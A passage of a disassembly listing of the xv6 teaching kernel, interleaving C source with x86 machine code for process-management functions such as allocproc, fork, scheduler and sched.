0x10(%ebp),%ebx 8010349c: 74 0e je 801034ac <piperead+0xbc> if(p->nread == p->nwrite) 8010349e: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 801034a4: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 801034aa: 75 d4 jne 80103480 <piperead+0x90> wakeup(&p->nwrite); //DOC: piperead-wakeup 801034ac: 8d 86 38 02 00 00 lea 0x238(%esi),%eax 801034b2: 89 04 24 mov %eax,(%esp) 801034b5: e8 e6 08 00 00 call 80103da0 <wakeup> release(&p->lock); 801034ba: 89 34 24 mov %esi,(%esp) 801034bd: e8 7e 0d 00 00 call 80104240 <release> } 801034c2: 83 c4 1c add $0x1c,%esp return i; 801034c5: 89 d8 mov %ebx,%eax } 801034c7: 5b pop %ebx 801034c8: 5e pop %esi 801034c9: 5f pop %edi 801034ca: 5d pop %ebp 801034cb: c3 ret 801034cc: 66 90 xchg %ax,%ax 801034ce: 66 90 xchg %ax,%ax 801034d0 <allocproc>: // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 801034d0: 55 push %ebp 801034d1: 89 e5 mov %esp,%ebp 801034d3: 53 push %ebx struct proc *p; char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801034d4: bb 54 2d 11 80 mov $0x80112d54,%ebx { 801034d9: 83 ec 14 sub $0x14,%esp acquire(&ptable.lock); 801034dc: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801034e3: e8 68 0c 00 00 call 80104150 <acquire> 801034e8: eb 11 jmp 801034fb <allocproc+0x2b> 801034ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801034f0: 83 c3 7c add $0x7c,%ebx 801034f3: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 801034f9: 74 7d je 80103578 <allocproc+0xa8> if(p->state == UNUSED) 801034fb: 8b 43 0c mov 0xc(%ebx),%eax 801034fe: 85 c0 test %eax,%eax 80103500: 75 ee jne 801034f0 <allocproc+0x20> release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 80103502: a1 04 a0 10 80 mov 0x8010a004,%eax release(&ptable.lock); 80103507: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) p->state = EMBRYO; 8010350e: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx) p->pid = nextpid++; 80103515: 8d 50 01 lea 0x1(%eax),%edx 80103518: 89 15 04 a0 10 80 mov %edx,0x8010a004 8010351e: 89 43 10 mov %eax,0x10(%ebx) release(&ptable.lock); 80103521: e8 1a 0d 00 00 call 80104240 <release> // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ 80103526: e8 85 ef ff ff call 801024b0 <kalloc> 8010352b: 85 c0 test %eax,%eax 8010352d: 89 43 08 mov %eax,0x8(%ebx) 80103530: 74 5a je 8010358c <allocproc+0xbc> return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103532: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx // Set up new context to start executing at forkret, // which returns to trapret. sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; 80103538: 05 9c 0f 00 00 add $0xf9c,%eax sp -= sizeof *p->tf; 8010353d: 89 53 18 mov %edx,0x18(%ebx) *(uint*)sp = (uint)trapret; 80103540: c7 40 14 65 54 10 80 movl $0x80105465,0x14(%eax) p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); 80103547: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp) 8010354e: 00 8010354f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103556: 00 80103557: 89 04 24 mov %eax,(%esp) p->context = (struct context*)sp; 8010355a: 89 43 1c mov %eax,0x1c(%ebx) memset(p->context, 0, sizeof *p->context); 8010355d: e8 2e 0d 00 00 call 80104290 <memset> p->context->eip = (uint)forkret; 80103562: 8b 43 1c mov 0x1c(%ebx),%eax 80103565: c7 40 10 a0 35 10 80 movl $0x801035a0,0x10(%eax) return p; 8010356c: 89 d8 mov %ebx,%eax } 8010356e: 83 c4 14 add $0x14,%esp 80103571: 5b pop %ebx 80103572: 5d pop %ebp 80103573: c3 ret 80103574: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); 80103578: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010357f: e8 bc 0c 00 00 call 80104240 <release> } 80103584: 83 c4 14 add $0x14,%esp return 0; 80103587: 31 c0 xor %eax,%eax } 80103589: 5b pop %ebx 8010358a: 5d pop %ebp 8010358b: c3 ret p->state = UNUSED; 8010358c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return 0; 80103593: eb d9 jmp 8010356e <allocproc+0x9e> 80103595: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103599: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801035a0 <forkret>: // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 801035a0: 55 push %ebp 801035a1: 89 e5 mov %esp,%ebp 801035a3: 83 ec 18 sub $0x18,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 801035a6: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801035ad: e8 8e 0c 00 00 call 80104240 <release> if (first) { 801035b2: a1 00 a0 10 80 mov 0x8010a000,%eax 801035b7: 85 c0 test %eax,%eax 801035b9: 75 05 jne 801035c0 <forkret+0x20> iinit(ROOTDEV); initlog(ROOTDEV); } // Return to "caller", actually trapret (see allocproc). } 801035bb: c9 leave 801035bc: c3 ret 801035bd: 8d 76 00 lea 0x0(%esi),%esi iinit(ROOTDEV); 801035c0: c7 04 24 01 00 00 00 movl $0x1,(%esp) first = 0; 801035c7: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000 801035ce: 00 00 00 iinit(ROOTDEV); 801035d1: e8 aa de ff ff call 80101480 <iinit> initlog(ROOTDEV); 801035d6: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801035dd: e8 9e f4 ff ff call 80102a80 <initlog> } 801035e2: c9 leave 801035e3: c3 ret 801035e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801035ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801035f0 <pinit>: { 801035f0: 55 push %ebp 801035f1: 89 e5 mov %esp,%ebp 801035f3: 83 ec 18 sub $0x18,%esp initlock(&ptable.lock, "ptable"); 801035f6: c7 44 24 04 f5 73 10 movl $0x801073f5,0x4(%esp) 801035fd: 80 801035fe: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103605: e8 56 0a 00 00 call 80104060 <initlock> } 8010360a: c9 leave 8010360b: c3 ret 8010360c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103610 <mycpu>: { 80103610: 55 push %ebp 80103611: 89 e5 mov %esp,%ebp 80103613: 56 push %esi 80103614: 53 push %ebx 80103615: 83 ec 10 sub $0x10,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103618: 9c pushf 80103619: 58 pop %eax if(readeflags()&FL_IF) 8010361a: f6 c4 02 test $0x2,%ah 8010361d: 75 57 jne 80103676 <mycpu+0x66> apicid = lapicid(); 8010361f: e8 4c f1 ff ff call 80102770 <lapicid> for (i = 0; i < ncpu; ++i) { 80103624: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 8010362a: 85 f6 test %esi,%esi 8010362c: 7e 3c jle 8010366a <mycpu+0x5a> if (cpus[i].apicid == apicid) 8010362e: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx 80103635: 39 c2 cmp %eax,%edx 80103637: 74 2d je 80103666 <mycpu+0x56> 80103639: b9 30 28 11 80 mov $0x80112830,%ecx for (i = 0; i < ncpu; ++i) { 8010363e: 31 d2 xor %edx,%edx 80103640: 83 c2 01 add $0x1,%edx 80103643: 39 f2 cmp %esi,%edx 80103645: 74 23 je 8010366a <mycpu+0x5a> if (cpus[i].apicid == apicid) 80103647: 0f b6 19 movzbl (%ecx),%ebx 8010364a: 81 c1 b0 00 00 00 add $0xb0,%ecx 80103650: 39 c3 cmp %eax,%ebx 80103652: 75 ec jne 80103640 <mycpu+0x30> return &cpus[i]; 80103654: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax } 8010365a: 83 c4 10 add $0x10,%esp 8010365d: 5b pop %ebx 8010365e: 5e pop %esi 8010365f: 5d pop %ebp return &cpus[i]; 80103660: 05 80 27 11 80 add $0x80112780,%eax } 80103665: c3 ret for (i = 0; i < ncpu; ++i) { 80103666: 31 d2 xor %edx,%edx 80103668: eb ea jmp 80103654 <mycpu+0x44> panic("unknown apicid\n"); 8010366a: c7 04 24 fc 73 10 80 movl $0x801073fc,(%esp) 80103671: e8 ea cc ff ff call 80100360 <panic> panic("mycpu called with interrupts enabled\n"); 80103676: c7 04 24 d8 74 10 80 movl $0x801074d8,(%esp) 8010367d: e8 de cc ff ff call 80100360 <panic> 80103682: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103689: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103690 <cpuid>: cpuid() { 80103690: 55 push %ebp 80103691: 89 e5 mov %esp,%ebp 80103693: 83 ec 08 sub $0x8,%esp return mycpu()-cpus; 80103696: e8 75 ff ff ff call 80103610 <mycpu> } 8010369b: c9 leave return mycpu()-cpus; 8010369c: 2d 80 27 11 80 sub $0x80112780,%eax 801036a1: c1 f8 04 sar $0x4,%eax 801036a4: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax } 801036aa: c3 ret 801036ab: 90 nop 801036ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801036b0 <myproc>: myproc(void) { 801036b0: 55 push %ebp 801036b1: 89 e5 mov %esp,%ebp 801036b3: 53 push %ebx 801036b4: 83 ec 04 sub $0x4,%esp pushcli(); 801036b7: e8 54 0a 00 00 call 80104110 <pushcli> c = mycpu(); 801036bc: e8 4f ff ff ff call 80103610 <mycpu> p = c->proc; 801036c1: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 801036c7: e8 04 0b 00 00 call 801041d0 <popcli> } 801036cc: 83 c4 04 add $0x4,%esp 801036cf: 89 d8 mov %ebx,%eax 801036d1: 5b pop %ebx 801036d2: 5d pop %ebp 801036d3: c3 ret 801036d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801036da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801036e0 <userinit>: { 801036e0: 55 push %ebp 801036e1: 89 e5 mov %esp,%ebp 801036e3: 53 push %ebx 801036e4: 83 ec 14 sub $0x14,%esp p = allocproc(); 801036e7: e8 e4 fd ff ff call 801034d0 <allocproc> 801036ec: 89 c3 mov %eax,%ebx initproc = p; 801036ee: a3 b8 a5 10 80 mov %eax,0x8010a5b8 if((p->pgdir = setupkvm()) == 0) 801036f3: e8 f8 32 00 00 call 801069f0 <setupkvm> 801036f8: 85 c0 test %eax,%eax 801036fa: 89 43 04 mov %eax,0x4(%ebx) 801036fd: 0f 84 d4 00 00 00 je 801037d7 <userinit+0xf7> inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 80103703: 89 04 24 mov %eax,(%esp) 80103706: c7 44 24 08 2c 00 00 movl $0x2c,0x8(%esp) 8010370d: 00 8010370e: c7 44 24 04 60 a4 10 movl $0x8010a460,0x4(%esp) 80103715: 80 80103716: e8 e5 2f 00 00 call 80106700 <inituvm> p->sz = PGSIZE; 8010371b: c7 03 00 10 00 00 movl $0x1000,(%ebx) memset(p->tf, 0, sizeof(*p->tf)); 80103721: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp) 80103728: 00 80103729: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103730: 00 80103731: 8b 43 18 mov 0x18(%ebx),%eax 80103734: 89 04 24 mov %eax,(%esp) 80103737: e8 54 0b 00 00 call 80104290 <memset> p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010373c: 8b 43 18 mov 0x18(%ebx),%eax 8010373f: ba 1b 00 00 00 mov $0x1b,%edx p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80103744: b9 23 00 00 00 mov $0x23,%ecx p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 80103749: 66 89 50 3c mov %dx,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 8010374d: 8b 43 18 mov 0x18(%ebx),%eax 80103750: 66 89 48 2c mov %cx,0x2c(%eax) p->tf->es = p->tf->ds; 80103754: 8b 43 18 mov 0x18(%ebx),%eax 80103757: 0f b7 50 2c movzwl 0x2c(%eax),%edx 8010375b: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 8010375f: 8b 43 18 mov 0x18(%ebx),%eax 80103762: 0f b7 50 2c movzwl 0x2c(%eax),%edx 80103766: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 8010376a: 8b 43 18 mov 0x18(%ebx),%eax 8010376d: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 80103774: 8b 43 18 mov 0x18(%ebx),%eax 80103777: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 8010377e: 8b 43 18 mov 0x18(%ebx),%eax 80103781: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 80103788: 8d 43 6c lea 0x6c(%ebx),%eax 8010378b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80103792: 00 80103793: c7 44 24 04 25 74 10 movl $0x80107425,0x4(%esp) 8010379a: 80 8010379b: 89 04 24 mov %eax,(%esp) 8010379e: e8 cd 0c 00 00 call 80104470 <safestrcpy> p->cwd = namei("/"); 801037a3: c7 04 24 2e 74 10 80 movl $0x8010742e,(%esp) 801037aa: e8 61 e7 ff ff call 80101f10 <namei> 801037af: 89 43 68 mov %eax,0x68(%ebx) acquire(&ptable.lock); 801037b2: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801037b9: e8 92 09 00 00 call 80104150 <acquire> p->state = RUNNABLE; 801037be: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) release(&ptable.lock); 801037c5: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801037cc: e8 6f 0a 00 00 call 80104240 <release> } 801037d1: 83 c4 14 add $0x14,%esp 801037d4: 5b pop %ebx 801037d5: 5d pop %ebp 801037d6: c3 ret panic("userinit: out of memory?"); 801037d7: c7 04 24 0c 74 10 80 movl $0x8010740c,(%esp) 801037de: e8 7d cb ff ff call 80100360 <panic> 801037e3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801037e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801037f0 <growproc>: { 801037f0: 55 push %ebp 801037f1: 89 e5 mov %esp,%ebp 801037f3: 56 push %esi 801037f4: 53 push %ebx 801037f5: 83 ec 10 sub $0x10,%esp 801037f8: 8b 75 08 mov 0x8(%ebp),%esi struct proc *curproc = myproc(); 801037fb: e8 b0 fe ff ff call 801036b0 <myproc> if(n > 0){ 80103800: 83 fe 00 cmp $0x0,%esi struct proc *curproc = myproc(); 80103803: 89 c3 mov %eax,%ebx sz = curproc->sz; 80103805: 8b 00 mov (%eax),%eax if(n > 0){ 80103807: 7e 2f jle 80103838 <growproc+0x48> if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) 80103809: 01 c6 add %eax,%esi 8010380b: 89 74 24 08 mov %esi,0x8(%esp) 8010380f: 89 44 24 04 mov %eax,0x4(%esp) 80103813: 8b 43 04 mov 0x4(%ebx),%eax 80103816: 89 04 24 mov %eax,(%esp) 80103819: e8 32 30 00 00 call 80106850 <allocuvm> 8010381e: 85 c0 test %eax,%eax 80103820: 74 36 je 80103858 <growproc+0x68> curproc->sz = sz; 80103822: 89 03 mov %eax,(%ebx) switchuvm(curproc); 80103824: 89 1c 24 mov %ebx,(%esp) 80103827: e8 c4 2d 00 00 call 801065f0 <switchuvm> return 0; 8010382c: 31 c0 xor %eax,%eax } 8010382e: 83 c4 10 add $0x10,%esp 80103831: 5b pop %ebx 80103832: 5e pop %esi 80103833: 5d pop %ebp 80103834: c3 ret 80103835: 8d 76 00 lea 0x0(%esi),%esi } else if(n < 0){ 80103838: 74 e8 je 80103822 <growproc+0x32> if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) 8010383a: 01 c6 add %eax,%esi 8010383c: 89 74 24 08 mov %esi,0x8(%esp) 80103840: 89 44 24 04 mov %eax,0x4(%esp) 80103844: 8b 43 04 mov 0x4(%ebx),%eax 80103847: 89 04 24 mov %eax,(%esp) 8010384a: e8 01 31 00 00 call 80106950 <deallocuvm> 8010384f: 85 c0 test %eax,%eax 80103851: 75 cf jne 80103822 <growproc+0x32> 80103853: 90 nop 80103854: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80103858: b8 ff ff ff ff mov $0xffffffff,%eax 8010385d: eb cf jmp 8010382e <growproc+0x3e> 8010385f: 90 nop 80103860 <fork>: { 80103860: 55 push %ebp 80103861: 89 e5 mov %esp,%ebp 80103863: 57 push %edi 80103864: 56 push %esi 80103865: 53 push %ebx 80103866: 83 ec 1c sub $0x1c,%esp struct proc *curproc = myproc(); 80103869: e8 42 fe ff ff call 801036b0 <myproc> 8010386e: 89 c3 mov %eax,%ebx if((np = allocproc()) == 0){ 80103870: e8 5b fc ff ff call 801034d0 <allocproc> 80103875: 85 c0 test %eax,%eax 80103877: 89 c7 mov %eax,%edi 80103879: 89 45 e4 mov %eax,-0x1c(%ebp) 8010387c: 0f 84 bc 00 00 00 je 8010393e <fork+0xde> if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){ 80103882: 8b 03 mov (%ebx),%eax 80103884: 89 44 24 04 mov %eax,0x4(%esp) 80103888: 8b 43 04 mov 0x4(%ebx),%eax 8010388b: 89 04 24 mov %eax,(%esp) 8010388e: e8 3d 32 00 00 call 80106ad0 <copyuvm> 80103893: 85 c0 test %eax,%eax 80103895: 89 47 04 mov %eax,0x4(%edi) 80103898: 0f 84 a7 00 00 00 je 80103945 <fork+0xe5> np->sz = curproc->sz; 8010389e: 8b 03 mov (%ebx),%eax 801038a0: 8b 4d e4 mov -0x1c(%ebp),%ecx 801038a3: 89 01 mov %eax,(%ecx) *np->tf = *curproc->tf; 801038a5: 8b 79 18 mov 0x18(%ecx),%edi 801038a8: 89 c8 mov %ecx,%eax np->parent = curproc; 801038aa: 89 59 14 mov %ebx,0x14(%ecx) *np->tf = *curproc->tf; 801038ad: 8b 73 18 mov 0x18(%ebx),%esi 801038b0: b9 13 00 00 00 mov $0x13,%ecx 801038b5: f3 a5 rep movsl %ds:(%esi),%es:(%edi) for(i = 0; i < NOFILE; i++) 801038b7: 31 f6 xor %esi,%esi np->tf->eax = 0; 801038b9: 8b 40 18 mov 0x18(%eax),%eax 801038bc: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) 801038c3: 90 nop 801038c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(curproc->ofile[i]) 801038c8: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 801038cc: 85 c0 test %eax,%eax 801038ce: 74 0f je 801038df <fork+0x7f> np->ofile[i] = filedup(curproc->ofile[i]); 801038d0: 89 04 24 mov %eax,(%esp) 801038d3: e8 08 d5 ff ff call 80100de0 <filedup> 801038d8: 8b 55 e4 mov -0x1c(%ebp),%edx 801038db: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4) for(i = 0; i < NOFILE; i++) 801038df: 83 c6 01 add $0x1,%esi 801038e2: 83 fe 10 cmp $0x10,%esi 801038e5: 75 e1 jne 801038c8 <fork+0x68> np->cwd = idup(curproc->cwd); 801038e7: 8b 43 68 mov 0x68(%ebx),%eax safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801038ea: 83 c3 6c add $0x6c,%ebx np->cwd = idup(curproc->cwd); 801038ed: 89 04 24 mov %eax,(%esp) 801038f0: e8 9b dd ff ff call 80101690 <idup> 801038f5: 8b 7d e4 mov -0x1c(%ebp),%edi 801038f8: 89 47 68 mov %eax,0x68(%edi) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801038fb: 8d 47 6c lea 0x6c(%edi),%eax 801038fe: 89 5c 24 04 mov %ebx,0x4(%esp) 80103902: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80103909: 00 8010390a: 89 04 24 mov %eax,(%esp) 8010390d: e8 5e 0b 00 00 call 80104470 <safestrcpy> pid = np->pid; 80103912: 8b 5f 10 mov 0x10(%edi),%ebx acquire(&ptable.lock); 80103915: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010391c: e8 2f 08 00 00 call 80104150 <acquire> np->state = RUNNABLE; 80103921: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi) release(&ptable.lock); 80103928: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010392f: e8 0c 09 00 00 call 80104240 <release> return pid; 80103934: 89 d8 mov %ebx,%eax } 80103936: 83 c4 1c add $0x1c,%esp 80103939: 5b pop %ebx 8010393a: 5e pop %esi 8010393b: 5f pop %edi 8010393c: 5d pop %ebp 8010393d: c3 ret return -1; 8010393e: b8 ff ff ff ff mov $0xffffffff,%eax 80103943: eb f1 jmp 80103936 <fork+0xd6> kfree(np->kstack); 80103945: 8b 7d e4 mov -0x1c(%ebp),%edi 80103948: 8b 47 08 mov 0x8(%edi),%eax 8010394b: 89 04 24 mov %eax,(%esp) 8010394e: e8 ad e9 ff ff call 80102300 <kfree> return -1; 80103953: b8 ff ff ff ff mov $0xffffffff,%eax np->kstack = 0; 80103958: c7 47 08 00 00 00 00 movl $0x0,0x8(%edi) np->state = UNUSED; 8010395f: c7 47 0c 00 00 00 00 movl $0x0,0xc(%edi) return -1; 80103966: eb ce jmp 80103936 <fork+0xd6> 80103968: 90 nop 80103969: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103970 <scheduler>: { 80103970: 55 push %ebp 80103971: 89 e5 mov %esp,%ebp 80103973: 57 push %edi 80103974: 56 push %esi 80103975: 53 push %ebx 80103976: 83 ec 1c sub $0x1c,%esp struct cpu *c = mycpu(); 80103979: e8 92 fc ff ff call 80103610 <mycpu> 8010397e: 89 c6 mov %eax,%esi c->proc = 0; 80103980: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax) 80103987: 00 00 00 8010398a: 8d 78 04 lea 0x4(%eax),%edi 8010398d: 8d 76 00 lea 0x0(%esi),%esi asm volatile("sti"); 80103990: fb sti acquire(&ptable.lock); 80103991: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103998: bb 54 2d 11 80 mov $0x80112d54,%ebx acquire(&ptable.lock); 8010399d: e8 ae 07 00 00 call 80104150 <acquire> 801039a2: eb 0f jmp 801039b3 <scheduler+0x43> 801039a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039a8: 83 c3 7c add $0x7c,%ebx 801039ab: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 801039b1: 74 45 je 801039f8 <scheduler+0x88> if(p->state != RUNNABLE) 801039b3: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 801039b7: 75 ef jne 801039a8 <scheduler+0x38> c->proc = p; 801039b9: 89 9e ac 00 00 00 mov %ebx,0xac(%esi) switchuvm(p); 801039bf: 89 1c 24 mov %ebx,(%esp) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039c2: 83 c3 7c add $0x7c,%ebx switchuvm(p); 801039c5: e8 26 2c 00 00 call 801065f0 <switchuvm> swtch(&(c->scheduler), p->context); 801039ca: 8b 43 a0 mov -0x60(%ebx),%eax p->state = RUNNING; 801039cd: c7 43 90 04 00 00 00 movl $0x4,-0x70(%ebx) swtch(&(c->scheduler), p->context); 801039d4: 89 3c 24 mov %edi,(%esp) 801039d7: 89 44 24 04 mov %eax,0x4(%esp) 801039db: e8 eb 0a 00 00 call 801044cb <swtch> switchkvm(); 801039e0: e8 eb 2b 00 00 call 801065d0 <switchkvm> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039e5: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx c->proc = 0; 801039eb: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi) 801039f2: 00 00 00 for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039f5: 75 bc jne 801039b3 <scheduler+0x43> 801039f7: 90 nop release(&ptable.lock); 801039f8: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801039ff: e8 3c 08 00 00 call 80104240 <release> } 80103a04: eb 8a jmp 80103990 <scheduler+0x20> 80103a06: 8d 76 00 lea 0x0(%esi),%esi 80103a09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103a10 <sched>: { 80103a10: 55 push %ebp 80103a11: 89 e5 mov %esp,%ebp 80103a13: 56 push %esi 80103a14: 53 push %ebx 80103a15: 83 ec 10 sub $0x10,%esp struct proc *p = myproc(); 80103a18: e8 93 fc ff ff call 801036b0 <myproc> if(!holding(&ptable.lock)) 80103a1d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) struct proc *p = myproc(); 80103a24: 89 c3 mov %eax,%ebx if(!holding(&ptable.lock)) 80103a26: e8 b5 06 00 00 call 801040e0 <holding> 80103a2b: 85 c0 test %eax,%eax 80103a2d: 74 4f je 80103a7e <sched+0x6e> if(mycpu()->ncli != 1) 80103a2f: e8 dc fb ff ff call 80103610 <mycpu> 80103a34: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax) 80103a3b: 75 65 jne 80103aa2 <sched+0x92> if(p->state == RUNNING) 80103a3d: 83 7b 0c 04 cmpl $0x4,0xc(%ebx) 80103a41: 74 53 je 80103a96 <sched+0x86> asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103a43: 9c pushf 80103a44: 58 pop %eax if(readeflags()&FL_IF) 80103a45: f6 c4 02 test $0x2,%ah 80103a48: 75 40 jne 80103a8a <sched+0x7a> intena = mycpu()->intena; 80103a4a: e8 c1 fb ff ff call 80103610 <mycpu> swtch(&p->context, mycpu()->scheduler); 80103a4f: 83 c3 1c add $0x1c,%ebx intena = mycpu()->intena; 80103a52: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi swtch(&p->context, mycpu()->scheduler); 80103a58: e8 b3 fb ff ff call 80103610 <mycpu> 80103a5d: 8b 40 04 mov 0x4(%eax),%eax 80103a60: 89 1c 24 mov %ebx,(%esp) 80103a63: 89 44 24 04 mov %eax,0x4(%esp) 80103a67: e8 5f 0a 00 00 call 801044cb <swtch> mycpu()->intena = intena; 80103a6c: e8 9f fb ff ff call 80103610 <mycpu> 80103a71: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax) } 80103a77: 83 c4 10 add $0x10,%esp 80103a7a: 5b pop %ebx 80103a7b: 5e pop %esi 80103a7c: 5d pop %ebp 80103a7d: c3 ret panic("sched ptable.lock"); 80103a7e: c7 04 24 30 74 10 80 movl $0x80107430,(%esp) 80103a85: e8 d6 c8 ff ff call 80100360 <panic> panic("sched interruptible"); 80103a8a: c7 04 24 5c 74 10 80 movl $0x8010745c,(%esp) 80103a91: e8 ca c8 ff ff call 80100360 <panic> panic("sched running"); 80103a96: c7 04 24 4e 74 10 80 movl $0x8010744e,(%esp) 80103a9d: e8 be c8 ff ff call 80100360 <panic> panic("sched locks"); 80103aa2: c7 04 24 42 74 10 80 movl $0x80107442,(%esp) 80103aa9: e8 b2 c8 ff ff call 80100360 <panic> 80103aae: 66 90 xchg %ax,%ax 80103ab0 <exit>: { 80103ab0: 55 push %ebp 80103ab1: 89 e5 mov %esp,%ebp 80103ab3: 56 push %esi if(curproc == initproc) 80103ab4: 31 f6 xor %esi,%esi { 80103ab6: 53 push %ebx 80103ab7: 83 ec 10 sub $0x10,%esp struct proc *curproc = myproc(); 80103aba: e8 f1 fb ff ff call 801036b0 <myproc> if(curproc == initproc) 80103abf: 3b 05 b8 a5 10 80 cmp 0x8010a5b8,%eax struct proc *curproc = myproc(); 80103ac5: 89 c3 mov %eax,%ebx if(curproc == initproc) 80103ac7: 0f 84 ea 00 00 00 je 80103bb7 <exit+0x107> 80103acd: 8d 76 00 lea 0x0(%esi),%esi if(curproc->ofile[fd]){ 80103ad0: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 80103ad4: 85 c0 test %eax,%eax 80103ad6: 74 10 je 80103ae8 <exit+0x38> fileclose(curproc->ofile[fd]); 80103ad8: 89 04 24 mov %eax,(%esp) 80103adb: e8 50 d3 ff ff call 80100e30 <fileclose> curproc->ofile[fd] = 0; 80103ae0: c7 44 b3 28 00 00 00 movl $0x0,0x28(%ebx,%esi,4) 80103ae7: 00 for(fd = 0; fd < NOFILE; fd++){ 80103ae8: 83 c6 01 add $0x1,%esi 80103aeb: 83 fe 10 cmp $0x10,%esi 80103aee: 75 e0 jne 80103ad0 <exit+0x20> begin_op(); 80103af0: e8 2b f0 ff ff call 80102b20 <begin_op> iput(curproc->cwd); 80103af5: 8b 43 68 mov 0x68(%ebx),%eax 80103af8: 89 04 24 mov %eax,(%esp) 80103afb: e8 e0 dc ff ff call 801017e0 <iput> end_op(); 80103b00: e8 8b f0 ff ff call 80102b90 